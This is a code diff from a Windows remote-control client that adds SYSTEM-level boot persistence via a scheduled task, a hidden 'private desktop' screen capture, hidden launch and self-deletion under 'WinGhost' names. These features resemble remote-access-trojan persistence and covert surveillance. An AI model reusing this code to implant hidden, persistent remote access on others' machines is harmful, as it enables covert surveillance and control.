Feature: Client running as SYSTEM and support remote control
This commit is contained in:
@@ -75,6 +75,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
|||||||
return a;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#if _CONSOLE
|
||||||
|
#define DLL_API
|
||||||
|
#else
|
||||||
|
#define DLL_API __declspec(dllexport)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||||||
|
if (!ENABLE_SCREEN || ulLength == 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
szBuffer = bToken; ulLength = 4;
|
||||||
|
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||||||
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||||||
|
if (ulLength > 1) {
|
||||||
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
ThreadInfo m_hThread;
|
||||||
|
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||||||
|
// sub->EnableSubConnAuth();
|
||||||
|
m_hThread.conn = m_conn;
|
||||||
|
m_hThread.p = sub;
|
||||||
|
m_hThread.user = user;
|
||||||
|
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||||||
|
while (m_hThread.p) Sleep(1000);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
case TOKEN_PRIVATESCREEN: {
|
||||||
|
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||||||
|
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||||||
|
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||||||
|
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||||||
|
t.join();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI StartClientApp(LPVOID param)
|
DWORD WINAPI StartClientApp(LPVOID param)
|
||||||
{
|
{
|
||||||
ClientApp::AddCount(1);
|
ClientApp::AddCount(1);
|
||||||
@@ -219,16 +263,24 @@ int main(int argc, const char *argv[])
|
|||||||
licenseInit();
|
licenseInit();
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||||||
|
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||||||
|
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = { nCmd };
|
||||||
|
return RunCommand(buf, 1);
|
||||||
|
}
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||||||
|
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||||||
// 注册启动项
|
// 注册启动项
|
||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
|
|||||||
@@ -197,11 +197,15 @@
|
|||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
<ClCompile Include="ScreenPreview.cpp" />
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
@@ -234,6 +238,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
|||||||
@@ -41,6 +41,10 @@
|
|||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\file_upload.h" />
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
@@ -89,6 +93,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
@@ -69,7 +69,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
|
|||||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||||
ClientObject->SetVerifyInfo(msg, signature);
|
ClientObject->SetVerifyInfo(msg, signature);
|
||||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
||||||
|
memcpy(user->buffer, bToken + 1, 3);
|
||||||
|
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
||||||
if (IsWindows8orHigher()) {
|
if (IsWindows8orHigher()) {
|
||||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
#include "common/DateVerify.h"
|
#include "common/DateVerify.h"
|
||||||
#include "common/LANChecker.h"
|
#include "common/LANChecker.h"
|
||||||
#include "common/scheduler.h"
|
#include "common/scheduler.h"
|
||||||
|
#include "session.h"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
@@ -795,6 +796,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
|
|||||||
client->Send2Server((char*)&msg, sizeof(msg));
|
client->Send2Server((char*)&msg, sizeof(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
extern "C" bool IsSystemInSession0();
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -952,6 +956,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
|
||||||
|
}
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||||
std::string hash = std::string(h, h + 64);
|
std::string hash = std::string(h, h + 64);
|
||||||
@@ -1159,6 +1167,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
|
||||||
|
ServiceWrapper_Uninstall();
|
||||||
|
}
|
||||||
self_del(10);
|
self_del(10);
|
||||||
Mprintf("======> Client uninstall \n");
|
Mprintf("======> Client uninstall \n");
|
||||||
break;
|
break;
|
||||||
@@ -1212,6 +1223,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
|
||||||
|
}
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
|||||||
@@ -470,7 +470,7 @@ void CScreenManager::InitScreenSpy()
|
|||||||
BOOL switchScreen = m_SwitchScreen;
|
BOOL switchScreen = m_SwitchScreen;
|
||||||
if (!(user == NULL || ((int)user) == 1)) {
|
if (!(user == NULL || ((int)user) == 1)) {
|
||||||
UserParam* param = (UserParam*)user;
|
UserParam* param = (UserParam*)user;
|
||||||
if (param) {
|
if (param && param->length>0) {
|
||||||
DXGI = param->buffer[0];
|
DXGI = param->buffer[0];
|
||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
all = param->length > 2 ? param->buffer[2] : all;
|
all = param->length > 2 ? param->buffer[2] : all;
|
||||||
@@ -862,6 +862,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ClientObject->StopRunning();
|
m_ClientObject->StopRunning();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_SIGNATURE: {
|
||||||
|
SignatureResp resp = { 0 };
|
||||||
|
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
|
||||||
|
if (m_Signature.empty()) {
|
||||||
|
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||||
|
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||||
|
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
||||||
|
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_SCREEN_ROI:{
|
case COMMAND_SCREEN_ROI:{
|
||||||
if (ulLength > sizeof(RECT)) {
|
if (ulLength > sizeof(RECT)) {
|
||||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||||
|
|||||||
@@ -78,7 +78,7 @@
|
|||||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\test</IntDir>
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -168,6 +168,7 @@
|
|||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="test.cpp" />
|
<ClCompile Include="test.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -177,6 +178,7 @@
|
|||||||
<ClInclude Include="reg_startup.h" />
|
<ClInclude Include="reg_startup.h" />
|
||||||
<ClInclude Include="resource1.h" />
|
<ClInclude Include="resource1.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -213,6 +213,7 @@
|
|||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
@@ -265,6 +266,7 @@
|
|||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
|
|||||||
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
|
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
|
||||||
{
|
{
|
||||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
ITrigger* pTrigger = NULL;
|
ITrigger* pTrigger = NULL;
|
||||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
|
||||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
// 普通用户需要指定具体用户
|
// 普通用户需要指定具体用户
|
||||||
if (!runasAdmin) {
|
if (!systemBoot && !runasAdmin) {
|
||||||
ILogonTrigger* pLogonTrigger = NULL;
|
ILogonTrigger* pLogonTrigger = NULL;
|
||||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
|
|
||||||
// 权限配置
|
// 权限配置
|
||||||
IPrincipal* pPrincipal = NULL;
|
IPrincipal* pPrincipal = NULL;
|
||||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
|
||||||
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
if (systemBoot)
|
||||||
|
{
|
||||||
|
BSTR sys = SysAllocString(L"SYSTEM");
|
||||||
|
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
|
||||||
|
if (FAILED(hr))
|
||||||
|
Mprintf("put_UserId失败:%ld\n", hr);
|
||||||
|
SysFreeString(sys);
|
||||||
|
}
|
||||||
|
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||||
} else {
|
} else {
|
||||||
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
bstrTaskName,
|
bstrTaskName,
|
||||||
pTask,
|
pTask,
|
||||||
TASK_CREATE_OR_UPDATE,
|
TASK_CREATE_OR_UPDATE,
|
||||||
runasAdmin ? vUser : empty,
|
systemBoot ? empty : (runasAdmin ? vUser : empty),
|
||||||
empty,
|
empty,
|
||||||
TASK_LOGON_INTERACTIVE_TOKEN,
|
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
|
||||||
empty,
|
empty,
|
||||||
&pRegisteredTask
|
&pRegisteredTask
|
||||||
);
|
);
|
||||||
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
|
|||||||
return isAdmin;
|
return isAdmin;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL IsSystem()
|
||||||
|
{
|
||||||
|
HANDLE token = NULL;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
DWORD size = 0;
|
||||||
|
GetTokenInformation(token, TokenUser, NULL, 0, &size);
|
||||||
|
|
||||||
|
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
|
||||||
|
if (!user) { CloseHandle(token); return FALSE; }
|
||||||
|
|
||||||
|
BOOL result = FALSE;
|
||||||
|
if (GetTokenInformation(token, TokenUser, user, size, &size))
|
||||||
|
{
|
||||||
|
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||||
|
|
||||||
|
PSID systemSid = NULL;
|
||||||
|
AllocateAndInitializeSid(&nt, 1,
|
||||||
|
SECURITY_LOCAL_SYSTEM_RID,
|
||||||
|
0, 0, 0, 0, 0, 0, 0,
|
||||||
|
&systemSid);
|
||||||
|
|
||||||
|
result = EqualSid(user->User.Sid, systemSid);
|
||||||
|
|
||||||
|
FreeSid(systemSid);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(user);
|
||||||
|
CloseHandle(token);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||||
{
|
{
|
||||||
SHELLEXECUTEINFOA shExecInfo;
|
SHELLEXECUTEINFOA shExecInfo;
|
||||||
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
|
|||||||
return folder;
|
return folder;
|
||||||
}
|
}
|
||||||
|
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
|
||||||
{
|
{
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
return 1;
|
return 1;
|
||||||
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
char dstFile[MAX_PATH] = { 0 };
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
||||||
BOOL isAdmin = IsRunningAsAdmin();
|
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
|
||||||
if (isAdmin) runasAdmin = true;
|
bool bootRun = false;
|
||||||
|
if (isAdmin) {
|
||||||
|
bootRun = runasAdmin == 2;
|
||||||
|
runasAdmin = true;
|
||||||
|
}
|
||||||
if (_stricmp(curFile, dstFile) != 0) {
|
if (_stricmp(curFile, dstFile) != 0) {
|
||||||
if (!isAdmin) {
|
if (!isAdmin) {
|
||||||
if (runasAdmin) {
|
if (runasAdmin) {
|
||||||
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
||||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||||
|
|
||||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (b && status) {
|
if (b && status) {
|
||||||
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||||
